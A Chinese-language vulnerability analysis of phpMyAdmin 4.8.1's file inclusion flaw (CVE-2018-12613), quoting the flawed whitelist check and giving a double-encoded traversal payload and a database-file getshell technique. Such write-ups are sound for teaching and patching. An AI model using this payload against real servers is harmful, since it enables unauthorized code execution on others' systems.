phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
漏洞分析
漏洞点就在 /index.php 中,定位到55-63行:
这里进行了一系列的判断后将传进来的target参数进行包含;先判断是否是字符串、是否以index开头,是否存在于黑名单里面,黑名单的定义在50-52行:
只要 target 参数不是 import.php 或 export.php 就行,最后经过Core::checkPageValidity
方法进行校验,跟进:
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
首先判断白名单是否为空,若为空就进行赋值,这里的$goto_whitelist
是类里面的静态变量:
这里我们想实现白名单以外的任意文件包含,因此传入的内容必然不会再白名单里面,走到456行,这里的mb_substr
方法是获取page变量在?
字符之前的字符串,如果传进来的page变量没有?
字符则是获取整个字符串。获取之后在判断是否在白名单里面。
接着往下到465行的$_page = urldecode($page);
,这里对page变量进行了URL解码后再进行一次上一步的操作。这里是利用的关键,我们可以在传参target变量中的?
进行两次URL编码为%253f
,如构造:
target=db_sql.php%253f/../../1.txt
传到后端的时候会进行一次URL解码:
target=db_sql.php%3f/../../1.txt
走到Core::checkPageValidity
中的urldecode
方法的时候还会进行一次URL解码:
target=db_sql.php%3f/../../1.txt
因此在下面进行截取?
字符前面的字符串的时候就截取到了db_sql.php
(这里任意一个白名单的字符串都可以),这是白名单中的字符,因此返回true到 index.php中,随后进行文件包含。
这里后面我们使用目录穿越则可以包含任意文件了。
通过文件包含getshell
既然我们可以实现任意文件包含了,可以尝试把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的:
- 创建表并且将字段名设置为
<?php phpinfo();?>
- 可以看到数据库的文件写入了字段名
- 最后将数据库文件包含进来